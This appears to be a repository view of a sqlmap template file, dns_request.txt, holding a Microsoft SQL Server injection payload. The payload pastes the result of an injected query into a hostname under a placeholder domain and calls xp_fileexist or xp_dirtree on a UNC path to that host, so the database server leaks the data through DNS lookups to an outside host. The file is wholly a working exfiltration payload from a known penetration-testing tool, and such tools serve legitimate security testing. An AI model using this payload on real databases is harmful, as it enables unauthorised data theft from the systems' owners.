sqlmap/procs/mssqlserver/dns_request.txt
Miroslav Stampar 46cfa64d81 minor update
2012-04-02 21:06:57 +00:00

5 lines
192 B
Plaintext

DECLARE @host varchar(1024);
SELECT @host = '%PREFIX%.' + (%QUERY%) + '.%SUFFIX%' + '.%DOMAIN%';
EXEC('xp_fileexist "\\' + @host + '\c$boot.ini"');
# or EXEC('xp_dirtree "\\' + @host + '."');